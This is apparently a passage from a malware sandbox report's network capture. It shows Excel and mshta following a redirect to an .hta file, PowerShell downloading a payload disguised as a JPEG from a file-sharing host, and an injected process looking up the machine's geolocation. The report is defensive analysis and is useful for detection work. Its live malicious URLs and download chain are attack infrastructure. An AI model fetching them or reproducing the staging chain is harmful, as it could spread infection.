                                                                                                                                                                6192.168.2.2249179178.237.33.50803536C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                                                                                TimestampBytes transferredDirectionData
                                                                                                                                                                Nov 28, 2024 11:02:21.226697922 CET71OUTGET /json.gp HTTP/1.1
                                                                                                                                                                Host: geoplugin.net
                                                                                                                                                                Cache-Control: no-cache
                                                                                                                                                                Nov 28, 2024 11:02:22.517224073 CET1171INHTTP/1.1 200 OK
                                                                                                                                                                date: Thu, 28 Nov 2024 10:02:22 GMT
                                                                                                                                                                server: Apache
                                                                                                                                                                content-length: 963
                                                                                                                                                                content-type: application/json; charset=utf-8
                                                                                                                                                                cache-control: public, max-age=300
                                                                                                                                                                access-control-allow-origin: *
                                                                                                                                                                Data Raw: 7b 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 72 65 71 75 65 73 74 22 3a 22 38 2e 34 36 2e 31 32 33 2e 32 32 38 22 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 73 74 61 74 75 73 22 3a 32 30 30 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 64 65 6c 61 79 22 3a 22 30 6d 73 22 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 63 72 65 64 69 74 22 3a 22 53 6f 6d 65 20 6f 66 20 74 68 65 20 72 65 74 75 72 6e 65 64 20 64 61 74 61 20 69 6e 63 6c 75 64 65 73 20 47 65 6f 4c 69 74 65 32 20 64 61 74 61 20 63 72 65 61 74 65 64 20 62 79 20 4d 61 78 4d 69 6e 64 2c 20 61 76 61 69 6c 61 62 6c 65 20 66 72 6f 6d 20 3c 61 20 68 72 65 66 3d 27 68 74 74 70 73 3a 5c 2f 5c 2f 77 77 77 2e 6d 61 78 6d 69 6e 64 2e 63 6f 6d 27 3e 68 74 74 70 73 3a 5c 2f 5c 2f 77 77 77 2e 6d 61 78 6d 69 6e 64 2e 63 6f 6d 3c 5c 2f 61 3e 2e 22 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 63 69 74 79 22 3a 22 4e 65 77 20 59 6f 72 6b 22 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 72 65 67 69 6f 6e 22 3a 22 4e 65 77 20 59 6f 72 6b 22 2c 0a 20 20 22 67 65 [TRUNCATED]
                                                                                                                                                                Data Ascii: { "geoplugin_request":"8.46.123.228", "geoplugin_status":200, "geoplugin_delay":"0ms", "geoplugin_credit":"Some of the returned data includes GeoLite2 data created by MaxMind, available from <a href='https:\/\/www.maxmind.com'>https:\/\/www.maxmind.com<\/a>.", "geoplugin_city":"New York", "geoplugin_region":"New York", "geoplugin_regionCode":"NY", "geoplugin_regionName":"New York", "geoplugin_areaCode":"", "geoplugin_dmaCode":"501", "geoplugin_countryCode":"US", "geoplugin_countryName":"United States", "geoplugin_inEU":0, "geoplugin_euVATrate":false, "geoplugin_continentCode":"NA", "geoplugin_continentName":"North America", "geoplugin_latitude":"40.7123", "geoplugin_longitude":"-74.0068", "geoplugin_locationAccuracyRadius":"20", "geoplugin_timezone":"America\/New_York", "geoplugin_currencyCode":"USD", "geoplugin_currencySymbol":"$", "geoplugin_currencySymbol_UTF8":"$", "geoplugin_currencyConverter":0}


                                                                                                                                                                HTTPS Proxied Packets

                                                                                                                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                0192.168.2.2249163152.231.117.864433328C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                                                                                                                                                                TimestampBytes transferredDirectionData
                                                                                                                                                                2024-11-28 10:01:23 UTC403OUTGET /fWsm?&lynx=wicked&calm=uninterested&venezuelan=tall&alibi=victorious&postage=round&plaster HTTP/1.1
                                                                                                                                                                Accept: */*
                                                                                                                                                                UA-CPU: AMD64
                                                                                                                                                                Accept-Encoding: gzip, deflate
                                                                                                                                                                User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
                                                                                                                                                                Host: ljg.cl
                                                                                                                                                                Connection: Keep-Alive
                                                                                                                                                                2024-11-28 10:01:24 UTC535INHTTP/1.1 302 Found
                                                                                                                                                                Server: openresty
                                                                                                                                                                Date: Thu, 28 Nov 2024 10:01:24 GMT
                                                                                                                                                                Content-Type: text/plain; charset=utf-8
                                                                                                                                                                Content-Length: 76
                                                                                                                                                                Connection: close
                                                                                                                                                                X-DNS-Prefetch-Control: off
                                                                                                                                                                X-Frame-Options: SAMEORIGIN
                                                                                                                                                                Strict-Transport-Security: max-age=15552000; includeSubDomains
                                                                                                                                                                X-Download-Options: noopen
                                                                                                                                                                X-Content-Type-Options: nosniff
                                                                                                                                                                X-XSS-Protection: 0
                                                                                                                                                                Location: http://172.232.175.166/809/ce/createdgoodthingsfor.hta
                                                                                                                                                                Vary: Accept
                                                                                                                                                                Strict-Transport-Security: max-age=63072000;includeSubDomains; preload
                                                                                                                                                                X-Served-By: ljg.cl
                                                                                                                                                                2024-11-28 10:01:24 UTC76INData Raw: 46 6f 75 6e 64 2e 20 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 20 68 74 74 70 3a 2f 2f 31 37 32 2e 32 33 32 2e 31 37 35 2e 31 36 36 2f 38 30 39 2f 63 65 2f 63 72 65 61 74 65 64 67 6f 6f 64 74 68 69 6e 67 73 66 6f 72 2e 68 74 61
                                                                                                                                                                Data Ascii: Found. Redirecting to http://172.232.175.166/809/ce/createdgoodthingsfor.hta


                                                                                                                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                1192.168.2.2249165152.231.117.864433640C:\Windows\System32\mshta.exe
                                                                                                                                                                TimestampBytes transferredDirectionData
                                                                                                                                                                2024-11-28 10:01:29 UTC427OUTGET /fWsm?&lynx=wicked&calm=uninterested&venezuelan=tall&alibi=victorious&postage=round&plaster HTTP/1.1
                                                                                                                                                                Accept: */*
                                                                                                                                                                Accept-Language: fr-FR
                                                                                                                                                                UA-CPU: AMD64
                                                                                                                                                                Accept-Encoding: gzip, deflate
                                                                                                                                                                User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
                                                                                                                                                                Host: ljg.cl
                                                                                                                                                                Connection: Keep-Alive
                                                                                                                                                                2024-11-28 10:01:30 UTC535INHTTP/1.1 302 Found
                                                                                                                                                                Server: openresty
                                                                                                                                                                Date: Thu, 28 Nov 2024 10:01:30 GMT
                                                                                                                                                                Content-Type: text/plain; charset=utf-8
                                                                                                                                                                Content-Length: 76
                                                                                                                                                                Connection: close
                                                                                                                                                                X-DNS-Prefetch-Control: off
                                                                                                                                                                X-Frame-Options: SAMEORIGIN
                                                                                                                                                                Strict-Transport-Security: max-age=15552000; includeSubDomains
                                                                                                                                                                X-Download-Options: noopen
                                                                                                                                                                X-Content-Type-Options: nosniff
                                                                                                                                                                X-XSS-Protection: 0
                                                                                                                                                                Location: http://172.232.175.166/809/ce/createdgoodthingsfor.hta
                                                                                                                                                                Vary: Accept
                                                                                                                                                                Strict-Transport-Security: max-age=63072000;includeSubDomains; preload
                                                                                                                                                                X-Served-By: ljg.cl
                                                                                                                                                                2024-11-28 10:01:30 UTC76INData Raw: 46 6f 75 6e 64 2e 20 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 20 68 74 74 70 3a 2f 2f 31 37 32 2e 32 33 32 2e 31 37 35 2e 31 36 36 2f 38 30 39 2f 63 65 2f 63 72 65 61 74 65 64 67 6f 6f 64 74 68 69 6e 67 73 66 6f 72 2e 68 74 61
                                                                                                                                                                Data Ascii: Found. Redirecting to http://172.232.175.166/809/ce/createdgoodthingsfor.hta


                                                                                                                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                2192.168.2.2249167152.231.117.864433328C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                                                                                                                                                                TimestampBytes transferredDirectionData
                                                                                                                                                                2024-11-28 10:01:45 UTC403OUTGET /fWsm?&lynx=wicked&calm=uninterested&venezuelan=tall&alibi=victorious&postage=round&plaster HTTP/1.1
                                                                                                                                                                Accept: */*
                                                                                                                                                                UA-CPU: AMD64
                                                                                                                                                                Accept-Encoding: gzip, deflate
                                                                                                                                                                User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
                                                                                                                                                                Host: ljg.cl
                                                                                                                                                                Connection: Keep-Alive
                                                                                                                                                                2024-11-28 10:01:45 UTC535INHTTP/1.1 302 Found
                                                                                                                                                                Server: openresty
                                                                                                                                                                Date: Thu, 28 Nov 2024 10:01:45 GMT
                                                                                                                                                                Content-Type: text/plain; charset=utf-8
                                                                                                                                                                Content-Length: 76
                                                                                                                                                                Connection: close
                                                                                                                                                                X-DNS-Prefetch-Control: off
                                                                                                                                                                X-Frame-Options: SAMEORIGIN
                                                                                                                                                                Strict-Transport-Security: max-age=15552000; includeSubDomains
                                                                                                                                                                X-Download-Options: noopen
                                                                                                                                                                X-Content-Type-Options: nosniff
                                                                                                                                                                X-XSS-Protection: 0
                                                                                                                                                                Location: http://172.232.175.166/809/ce/createdgoodthingsfor.hta
                                                                                                                                                                Vary: Accept
                                                                                                                                                                Strict-Transport-Security: max-age=63072000;includeSubDomains; preload
                                                                                                                                                                X-Served-By: ljg.cl
                                                                                                                                                                2024-11-28 10:01:45 UTC76INData Raw: 46 6f 75 6e 64 2e 20 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 20 68 74 74 70 3a 2f 2f 31 37 32 2e 32 33 32 2e 31 37 35 2e 31 36 36 2f 38 30 39 2f 63 65 2f 63 72 65 61 74 65 64 67 6f 6f 64 74 68 69 6e 67 73 66 6f 72 2e 68 74 61
                                                                                                                                                                Data Ascii: Found. Redirecting to http://172.232.175.166/809/ce/createdgoodthingsfor.hta


                                                                                                                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                3192.168.2.2249171152.231.117.864433980C:\Windows\System32\mshta.exe
                                                                                                                                                                TimestampBytes transferredDirectionData
                                                                                                                                                                2024-11-28 10:01:49 UTC427OUTGET /fWsm?&lynx=wicked&calm=uninterested&venezuelan=tall&alibi=victorious&postage=round&plaster HTTP/1.1
                                                                                                                                                                Accept: */*
                                                                                                                                                                Accept-Language: fr-FR
                                                                                                                                                                UA-CPU: AMD64
                                                                                                                                                                Accept-Encoding: gzip, deflate
                                                                                                                                                                User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
                                                                                                                                                                Host: ljg.cl
                                                                                                                                                                Connection: Keep-Alive
                                                                                                                                                                2024-11-28 10:01:49 UTC535INHTTP/1.1 302 Found
                                                                                                                                                                Server: openresty
                                                                                                                                                                Date: Thu, 28 Nov 2024 10:01:49 GMT
                                                                                                                                                                Content-Type: text/plain; charset=utf-8
                                                                                                                                                                Content-Length: 76
                                                                                                                                                                Connection: close
                                                                                                                                                                X-DNS-Prefetch-Control: off
                                                                                                                                                                X-Frame-Options: SAMEORIGIN
                                                                                                                                                                Strict-Transport-Security: max-age=15552000; includeSubDomains
                                                                                                                                                                X-Download-Options: noopen
                                                                                                                                                                X-Content-Type-Options: nosniff
                                                                                                                                                                X-XSS-Protection: 0
                                                                                                                                                                Location: http://172.232.175.166/809/ce/createdgoodthingsfor.hta
                                                                                                                                                                Vary: Accept
                                                                                                                                                                Strict-Transport-Security: max-age=63072000;includeSubDomains; preload
                                                                                                                                                                X-Served-By: ljg.cl
                                                                                                                                                                2024-11-28 10:01:49 UTC76INData Raw: 46 6f 75 6e 64 2e 20 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 20 68 74 74 70 3a 2f 2f 31 37 32 2e 32 33 32 2e 31 37 35 2e 31 36 36 2f 38 30 39 2f 63 65 2f 63 72 65 61 74 65 64 67 6f 6f 64 74 68 69 6e 67 73 66 6f 72 2e 68 74 61
                                                                                                                                                                Data Ascii: Found. Redirecting to http://172.232.175.166/809/ce/createdgoodthingsfor.hta


                                                                                                                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                4192.168.2.2249173193.30.119.1124431484C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                TimestampBytes transferredDirectionData
                                                                                                                                                                2024-11-28 10:01:57 UTC226OUTGET /api/file/get?filekey=OF0gFcxMQCUwPYleTyb2Yh9aBTpRl9_K_LOoTKArK4ipMrH8N0jibXrPYJoFvjqaK50qGw&track=krUNywEJ&skipreg=true&pk_vid=a6a926643893714e17327089141d9432 HTTP/1.1
                                                                                                                                                                Host: 3012.filemail.com
                                                                                                                                                                Connection: Keep-Alive
                                                                                                                                                                2024-11-28 10:01:57 UTC328INHTTP/1.1 200 OK
                                                                                                                                                                Content-Length: 2230233
                                                                                                                                                                Content-Type: image/jpeg
                                                                                                                                                                Last-Modified: Wed, 27 Nov 2024 11:31:15 GMT
                                                                                                                                                                Accept-Ranges: bytes
                                                                                                                                                                ETag: e22fd63d76605ef6b671c42398cbf6b6
                                                                                                                                                                X-Transfer-ID: yaxfnztfhgjdwin
                                                                                                                                                                Content-Disposition: attachment; filename=new_imagem-vbs.jpg
                                                                                                                                                                Date: Thu, 28 Nov 2024 10:01:57 GMT
                                                                                                                                                                Connection: close
                                                                                                                                                                2024-11-28 10:01:57 UTC1402INData Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d 38 32 3c 2e 33 34 32 ff db 00 43 01 09 09 09 0c 0b 0c 18 0d 0d 18 32 21 1c 21 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 ff c0 00 11 08 04 38 07 80 03 01 22 00 02 11 01 03 11 01 ff c4 00 1c 00 00 02 03 01 01 01 01 00 00 00 00 00 00 00 00 00 03 04 01 02 05 00 06 07 08 ff c4 00 55 10 00 02 02 01 03 02 04 03 05 06 03 05 06 02 01 15 01 02 03 11 00 04 12 21 31 41 05 13 22 51 61 71 81 06 14 32 91 a1 07 23 42 b1 c1
                                                                                                                                                                Data Ascii: JFIFC $.' ",#(7),01444'9=82<.342C2!!222222222222222222222222222222222222222222222222228"U!1A"Qaq2#B
                                                                                                                                                                2024-11-28 10:01:57 UTC8192INData Raw: d7 4f e2 f4 f6 cf 9a 34 12 6a 34 d1 ac 34 c0 35 95 3d b3 e9 ff 00 b5 df 0d 9e 5f 16 d1 c2 37 3c 8c ae 62 55 46 b2 4b 70 2d 85 9e 48 cf 03 04 29 1a 02 c8 cb 27 e1 22 e8 8f 87 f3 c0 63 45 08 87 48 b1 94 0b b9 a8 91 99 9a b8 22 87 5d 10 0c cd 1b b7 a8 92 00 02 e8 d6 6a e9 8a 5b 07 65 52 c0 a8 46 37 fa 62 5a 9d 3c 47 59 18 29 b4 1d c3 d2 47 3f 4c 09 9f 4f a7 74 d3 90 78 2c c0 37 bf 3c 73 8a 10 92 a8 46 da b2 2c 8a a8 77 71 9b 83 4e 8f 0a 82 ab ed c1 ac ce 7f 04 8d 35 22 50 e5 08 6b aa b1 81 68 b5 2c ec eb e5 80 55 14 32 31 a5 53 75 63 e7 97 d6 cd 1e a2 6d 36 91 ee de 4f 55 76 14 79 07 0b 2b 22 ef 72 88 c0 2f a9 8a 8e 6b 31 f4 8c da ed 7c d2 10 5c 85 3b 2c d5 0a 23 a6 06 b8 8b 6f 90 b0 bc 8a 55 c8 61 e6 93 c0 dc 07 04 f7 db 95 34 35 aa d2 15 0a b1 96 41 fe 6b
                                                                                                                                                                Data Ascii: O4j445=_7<bUFKp-H)'"cEH"]j[eRF7bZ<GY)G?LOtx,7<sF,wqN5"Pkh,U21Sucm6OUvy+"r/k1|\;,#oUa45Ak
                                                                                                                                                                2024-11-28 10:01:57 UTC8192INData Raw: 63 23 22 95 65 76 50 3d 41 81 1b 78 17 54 4e 01 24 f0 ff 00 0e d2 6b df 67 87 4a 49 a8 80 91 1e 22 24 60 76 95 2c c7 72 fa 4f 2d 5d af a9 cf 36 f3 69 54 ca 93 c3 b9 dc ee 49 76 31 34 6a b8 dc 05 11 d7 8b bc 70 f8 b6 92 49 de 46 2e 1e 55 62 e4 a2 90 58 83 c9 1d f8 24 59 b3 de f3 0e 69 7c cd a2 ec 2a 95 51 55 42 c9 fa f5 38 17 95 15 a4 31 a2 aa b2 83 6b 1d 91 c5 d9 b2 7d b2 da 77 31 22 d4 65 b7 b1 50 7d c8 af ee 30 63 51 21 05 4b 02 0d d9 2a 09 e7 ad 1a b1 91 1c 92 aa 00 ad 41 4e e0 3d 8f 1f db 01 89 35 3b c0 20 15 db de f0 6f a9 56 75 76 dc 48 ed bb 8c 08 5b 4a 17 7d f9 ca 88 49 e2 f9 18 1a 03 c4 23 6b 26 3e a2 b2 24 d6 c3 22 14 64 b1 ef ed 88 84 29 76 39 ca bd 12 08 bf cb 00 a4 c2 14 98 d5 83 0e 84 9c 9d 36 a5 e0 63 42 c9 e7 9c 18 e0 82 47 07 2c 14 16 14
                                                                                                                                                                Data Ascii: c#"evP=AxTN$kgJI"$`v,rO-]6iTIv14jpIF.UbX$Yi|*QUB81k}w1"eP}0cQ!K*AN=5; oVuvH[J}I#k&>$"d)v96cBG,
                                                                                                                                                                2024-11-28 10:01:57 UTC8192INData Raw: 2e db 1d 4b 66 b3 7e e1 a3 42 80 03 dc 8b c8 d4 ce 9a 92 a9 0a 2d 8e a4 9f e9 81 8a f1 9b 1c d7 c3 04 54 86 da 31 d9 4b 09 c4 63 6b 37 e8 30 3a 88 8c 2f 64 9b 3d c7 7c 0a 88 88 6d ac 68 8c ba 46 ad 77 e9 18 c0 d3 0f 2c 38 2c 59 ad b9 c5 cb 06 04 81 c8 e0 e0 70 81 37 8a 6e 09 a1 86 11 2c 64 d8 b0 0d 0c 5d 56 a8 ed 1d 7b e3 65 76 a8 72 87 9e fd b0 0a 35 01 5a a3 5d a7 a5 7b e3 12 a3 c8 82 32 0b 6e 1d 47 6c 49 f5 36 79 15 5d 30 e9 3b b3 21 1d f0 14 d4 c3 22 4e 08 0c 14 11 b7 e9 9f 7c fd 8d 23 ea 7f 67 5e 27 a6 33 22 cb 34 f2 aa ed 62 ae a5 91 54 59 1d 39 cf 87 3b 33 40 49 1b 99 48 24 7b e7 dc ff 00 61 3a 9d 4c 9f 65 bc 42 03 12 f9 11 6a 83 23 16 36 cc cb ea 1c 74 00 05 ac 0c 9f b3 cc 90 78 d7 da 68 22 d6 ab 38 f0 89 e4 9e 58 dc c8 a1 d4 44 ad d4 72 c4 ee 2c
                                                                                                                                                                Data Ascii: .Kf~B-T1Kck70:/d=|mhFw,8,Yp7n,d]V{evr5Z]{2nGlI6y]0;!"N|#g^'3"4bTY9;3@IH${a:LeBj#6txh"8XDr,
                                                                                                                                                                2024-11-28 10:01:57 UTC8192INData Raw: 29 a5 9c 04 9d 15 28 59 66 e9 f4 ce 93 41 14 52 7d e7 c3 f5 21 eb 9a 5c b6 9b c0 a3 89 af 50 de 60 f8 76 c6 b4 da 14 80 b4 51 d9 8d 8d de e3 7f 2c 07 3c 23 51 ae 7d 27 89 b1 8d 8f ee 03 32 2d f3 52 29 ba f8 0d d8 83 6a 48 98 82 9b 64 1e ad a7 be 6b 78 5b 4b 1e be 65 dd b5 5b 4f 30 34 7a 81 1b 1e 7f 2c 51 23 59 d8 da d8 6b a2 70 35 b4 ff 00 68 3c 3d b4 28 65 d5 f8 e4 6c 88 03 24 53 2a a5 8e c0 5f 4c d7 f0 5f 12 83 c4 f5 7e 4c 5a 9d 4e ab 4d 26 9d a2 99 75 04 09 90 13 76 58 50 65 3c fb 91 63 a0 bc f9 d6 a4 01 be 23 b5 58 9a 07 93 58 ef d9 c0 d0 f8 d6 95 15 d8 ef 71 13 2e ea b0 dc 73 f5 37 f4 c0 a2 cf 11 65 56 2c 01 20 1a 3c 01 85 d6 3c 7e 4a 29 6b 70 78 7a 3c 2e 23 ab f0 f1 a0 f1 6d 54 20 ee 8d 27 74 5e 7b 2b 10 3f 96 5a 52 ec ab 7c df 41 80 c6 9f c4 a3 1e
                                                                                                                                                                Data Ascii: )(YfAR}!\P`vQ,<#Q}'2-R)jHdkx[Ke[O04z,Q#Ykp5h<=(el$S*_L_~LZNM&uvXPe<c#XXq.s7eV, <<~J)kpxz<.#mT 't^{+?ZR|A
                                                                                                                                                                2024-11-28 10:01:58 UTC8192INData Raw: 55 57 7d a3 f0 f3 41 6f 8f eb 9d ce d2 2e b2 40 2a bd 3e b8 1a 29 e3 9a c8 62 00 08 d8 7f 98 31 fe b9 cf e3 ba b6 40 c5 20 04 fb 2b 7f ea cc b0 ac cd c1 dd 47 df 35 17 c0 b5 32 aa fe f2 02 2a e8 33 77 ff 00 87 00 49 e3 3a 80 01 2b 11 ff 00 85 bf f5 64 1f 1a d4 b9 08 52 20 07 f9 5b fb e7 4f e1 13 40 6d de 3d b5 b8 b2 ee a1 db 93 58 2d 2f 87 be b1 06 d9 e1 bb 63 b4 b1 b1 55 d6 87 c7 00 92 f8 dc d4 41 48 88 51 74 11 bf f5 62 3a df 1f d5 f8 8e 89 f4 92 41 02 c6 e0 03 b5 18 1a 04 1e e7 e1 9a 4d f6 73 53 22 90 26 d3 2e e0 45 17 61 7f f8 73 27 53 e1 3a 84 d7 26 81 65 46 d4 12 00 65 b6 db fa 74 ac 0e d2 f8 c6 a7 45 02 40 91 e9 9d 53 80 58 31 b1 b8 b0 fe 2a ef 9c 7e d3 eb 96 69 5e 48 74 8c 59 02 15 d8 c0 50 dd fe 6f 8e 54 7d 9c d4 34 f2 40 75 70 34 b1 82 d2 07 66
                                                                                                                                                                Data Ascii: UW}Ao.@*>)b1@ +G52*3wI:+dR [O@m=X-/cUAHQtb:AMsS"&.Eas'S:&eFetE@SX1*~i^HtYPoT}4@up4f
                                                                                                                                                                2024-11-28 10:01:58 UTC8192INData Raw: e5 80 09 34 92 4a d6 09 a2 bd 3d b0 7a 08 04 73 32 ca fb 68 fb e7 a0 70 ab 44 00 6c 66 17 89 42 90 ca 25 0f c1 e4 81 80 9c b0 83 e3 c1 23 6a dc 78 3f f0 e0 35 42 71 24 be 68 24 98 f6 d9 ec 03 0c 6a 05 1a cf 1d 8b c9 21 01 50 6c f6 f4 e3 3e 29 a7 6d 3e a0 d8 0c 4e 95 b7 1d d5 5e aa bf cf 01 1f 11 86 48 11 44 84 51 7b ab e9 d7 12 0a f3 ca 91 8b 24 00 00 f6 14 33 7f c4 61 8f fd 9d 12 3b 97 da cb ea 63 67 96 37 fc f3 bc 13 47 0a 68 86 b6 67 41 e6 1a 52 ec 00 14 48 e2 f0 04 8a 74 da 52 f3 33 05 af 4f c3 0f a0 30 ca 85 e3 75 66 1c 9b ea 33 47 55 09 96 1d a3 6f 4e 0d 58 c4 f4 9e 11 1c 3a 81 2a 9a b1 ea e6 86 02 33 4f 3c 1a 95 08 cc d7 c7 1e d7 84 11 cd 23 ef 20 b1 34 40 1c f1 9a f2 41 12 33 a8 51 4a 7a fc b1 0d 31 75 3a b8 37 d8 6f 5a 3a 74 5d df c3 f4 c0 4e 6d
                                                                                                                                                                Data Ascii: 4J=zs2hpDlfB%#jx?5Bq$h$j!Pl>)m>N^HDQ{$3a;cg7GhgARHtR3O0uf3GUoNX:*3O<# 4@A3QJz1u:7oZ:t]Nm
                                                                                                                                                                2024-11-28 10:01:58 UTC8192INData Raw: 55 1d 68 5d 0b 1c e7 9c f1 9d 16 ae 6f 10 44 d5 39 77 56 11 3c ce 49 dc cc 77 02 a2 c1 a1 b8 f0 38 f4 93 f2 6f c1 be cf 6b f5 50 05 d4 bc da 6d 3b 96 b5 2c 43 73 4a 4a 8b e0 b2 86 5b 65 aa 27 83 d7 37 b5 fa 05 6f 08 96 bc ef 0f da a1 f7 1d ac 77 59 1d 8b 31 24 95 20 83 67 70 e4 b5 e0 2e 3c 07 4a 7c 2b fe d5 a2 59 f5 09 0b 2a 44 b3 1b 88 fa 9a 99 ac 06 b2 41 3c 7e 22 d5 e9 ad be 4b 55 0b 36 95 d9 dc ac 44 7a 60 0b c2 1b 5b f5 0e bc 8a cf 45 a6 48 bc 1d 5e 4d 53 ca 25 70 cf 16 9e 39 4c 92 cd c3 02 d2 0a a0 39 0c 00 ae 9c d9 19 81 ac 32 b7 84 bc 92 a2 a9 66 0c aa ab 5b 41 ec 7e 38 08 3c 87 4d a7 09 12 a9 2d df db 12 9f 73 31 2c ea c7 82 6a f8 e3 09 a5 90 ef 08 e6 c2 9e 2f 07 3a b0 91 c0 07 61 62 01 00 85 63 78 1d a7 d3 1d 45 1d e1 45 f2 4e 07 68 56 e1 85 76
                                                                                                                                                                Data Ascii: Uh]oD9wV<Iw8okPm;,CsJJ[e'7owY1$ gp.<J|+Y*DA<~"KU6Dz`[EH^MS%p9L92f[A~8<M-s1,j/:abcxEENhVv
                                                                                                                                                                2024-11-28 10:01:58 UTC8192INData Raw: 2c b6 48 1d 4d 02 33 c4 b6 ad 97 50 4a c8 5a 9b d2 c0 9e 79 e3 1e d5 78 b3 ea 16 42 aa 59 69 15 43 2a b6 d3 b4 dd 9a bf d7 be 06 82 c8 7c 3a 45 f0 f3 2c 72 42 d4 27 6d a5 4d 10 2f f8 88 e9 c7 6c d1 8b 4b 18 65 73 ab 69 06 99 4a a7 a3 69 51 f1 f7 35 c7 6f af 5c f1 87 51 21 3f 84 92 79 b6 3c 9a cd ed 4e a1 e2 92 58 9a 59 19 57 4f e6 03 6a 0a b6 ea 03 d3 5e fd f0 36 b4 91 22 79 bb 75 01 84 92 99 57 8d b7 62 c7 f4 e9 80 1a 12 ba 18 74 ab a8 55 78 24 df b9 92 c6 e0 4f 1b 6f e3 99 53 78 db c4 b1 11 22 a9 11 ac 92 70 b6 e4 ed 05 7a 71 c5 9c ed 4f 88 b8 d6 4e 91 cd 52 33 46 61 89 55 76 be ea bb 6a fe a3 03 60 68 c6 a7 50 d2 6a f6 49 51 f9 60 14 2b 64 35 86 14 7e 98 69 23 0c d0 4d 2a 44 cf 11 6e 42 b0 34 48 02 89 63 5f ae 61 37 8b ea 4c a8 9b 99 40 92 65 6d 8a bb
                                                                                                                                                                Data Ascii: ,HM3PJZyxBYiC*|:E,rB'mM/lKesiJiQ5o\Q!?y<NXYWOj^6"yuWbtUx$OoSx"pzqONR3FaUvj`hPjIQ`+d5~i#M*DnB4Hc_a7L@em
                                                                                                                                                                2024-11-28 10:01:58 UTC8192INData Raw: b9 36 9f 61 cd ff 00 4a c1 a4 86 5d 4b 2a 6d b6 62 4d aa 8f d4 75 eb 80 19 22 d5 3a 17 91 5b 68 60 bc e5 0c 53 c0 f4 57 93 cf be 6a be b4 46 46 9c a2 94 1d 77 7f 4c 56 77 3a 89 03 47 b5 42 fe 78 0a 48 fa 86 5d ae a6 8f f9 72 22 69 11 d6 42 96 14 86 20 f7 ac b9 f3 62 6b 20 9b f7 fe 99 64 69 1c 93 b4 55 73 80 59 44 cb eb 88 16 04 f2 7a f6 04 1f a8 af a8 38 0d da 86 6a 2b 57 de b1 ed 25 be 98 a9 20 95 f4 9a ed 7d 3f 23 43 eb 8a ca f2 45 26 d7 1c 83 44 9f 7c 0a 38 98 20 a0 49 ee 46 2e ad 25 90 b7 7d f1 b0 ce cd f8 97 9e d9 52 ae 8e 2b 6d 13 cd 60 4a c5 a9 31 92 40 23 d8 f5 c5 8a 3b b1 01 0d 8f 6c d9 13 6c 55 5e 28 0e f8 0d 4a 8d ea ea 54 06 eb 58 19 aa cf 19 ae 40 ee 32 e9 24 ac de 8e 72 e5 fd 54 00 3f 1c 24 52 ec 92 ce d2 0e 00 25 de cc 77 2f 23 24 6f d8 2a
                                                                                                                                                                Data Ascii: 6aJ]K*mbMu":[h`SWjFFwLVw:GBxH]r"iB bk diUsYDz8j+W% }?#CE&D|8 IF.%}R+m`J1@#;llU^(JTX@2$rT?$R%w/#$o*


                                                                                                                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                5192.168.2.2249174193.30.119.1124432460C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                TimestampBytes transferredDirectionData
                                                                                                                                                                2024-11-28 10:02:03 UTC226OUTGET /api/file/get?filekey=OF0gFcxMQCUwPYleTyb2Yh9aBTpRl9_K_LOoTKArK4ipMrH8N0jibXrPYJoFvjqaK50qGw&track=krUNywEJ&skipreg=true&pk_vid=a6a926643893714e17327089141d9432 HTTP/1.1
                                                                                                                                                                Host: 3012.filemail.com
                                                                                                                                                                Connection: Keep-Alive
                                                                                                                                                                2024-11-28 10:02:03 UTC328INHTTP/1.1 200 OK
                                                                                                                                                                Content-Length: 2230233
                                                                                                                                                                Content-Type: image/jpeg
